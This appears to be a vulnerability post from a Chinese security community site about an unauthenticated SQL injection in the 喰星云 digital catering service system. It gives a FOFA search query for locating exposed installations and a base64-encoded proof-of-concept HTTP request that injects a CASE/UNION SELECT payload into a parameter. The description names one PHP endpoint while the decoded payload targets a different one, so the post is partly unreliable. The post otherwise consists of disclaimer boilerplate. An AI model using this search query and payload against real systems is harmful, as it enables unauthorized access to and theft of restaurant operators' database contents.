喰星云-数字化餐饮服务系统-SQL-鹏组安全社区

1. 漏洞描述

喰星云-数字化餐饮服务系统 not_out_depot.php接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息.

fofa:title=“喰星云·数字化餐饮服务系统” || body=“tmp_md5_pwd” || app=“喰星云·数字化餐饮服务系统”

poc:

R0VUIC9sb2dpc3RpY3MvaG9tZV93YXJuaW5nL3BocC9ub3RfZmluaXNoLnBocD9kbz1nZXRMaXN0JmxzaWQ9KFNFTEVDVCsoQ0FTRStXSEVOKyg2MTkyPTYxOTMpK1RIRU4rJycrRUxTRSsoU0VMRUNUKzk2NDErVU5JT04rU0VMRUNUKzIzODQpK0VORCkpIEhUVFAvMS4xIEhvc3Q6IFVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjcuMC4wLjAgU2FmYXJpLzUzNy4zNg==(base解码6查看poc)

1 如果您喜欢本站,点击这儿赞助下本站，感谢支持！
2 可能会帮助到你：下载帮助 | 报毒说明 | 进站必看 | 广告合作；
3 本站素材资源不代表本站立场，并不代表本站赞同其观点和对其真实性负责；
4 本站大部分素材资源来源于网络，仅供学习与参考，请于下载后24小时内删除；
5 若作商业用途，请联系原作者授权，若本站侵犯了您的权益请联系站长进行删除处理；
6 如若转载，请注明文章出处：

THE END